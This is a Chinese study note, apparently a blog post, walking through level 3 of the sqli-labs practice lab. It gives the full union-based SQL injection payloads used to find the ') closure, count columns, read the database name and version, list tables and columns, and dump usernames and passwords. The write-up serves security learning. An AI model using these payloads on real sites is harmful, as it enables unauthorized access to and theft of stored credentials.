sqli-labs学习笔记3

less-3

打开靶场
输入id=1
在这里插入图片描述

判断注入类型

id=1’
在这里插入图片描述
报错了,存在sql注入,
id=1’–+
在这里插入图片描述
还是报错的,感觉是闭合符号不一样。
试试’)
这里看了源代码
在这里插入图片描述
所以输入
id=1’)–+
在这里插入图片描述
‘)来闭合前面的(’,–+来注释掉后面的’).

判断字段数

id = 1’) order by 3 --+
在这里插入图片描述
回显正常,判断字段数4
id = 1’) order by 4 --+
在这里插入图片描述

判断回显位

id= -1’) union select 1,2,3 --+
在这里插入图片描述
得到了2,3的回显位。

爆破数据库名与数据库版本

id= -1’) union select 1,database(),version() --+
在这里插入图片描述
得到了对应的数据库名称:security

爆破数据库的表名

id=-1 ') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’–+
在这里插入图片描述

爆破users表的字段

id=-1 ') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’ --+
在这里插入图片描述
得到对应的字段名。

爆破users表中字段的数据

id=-1’) union select 1,2,group_concat(username,id,password) from users --+
在这里插入图片描述
最后得到完整的数据。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值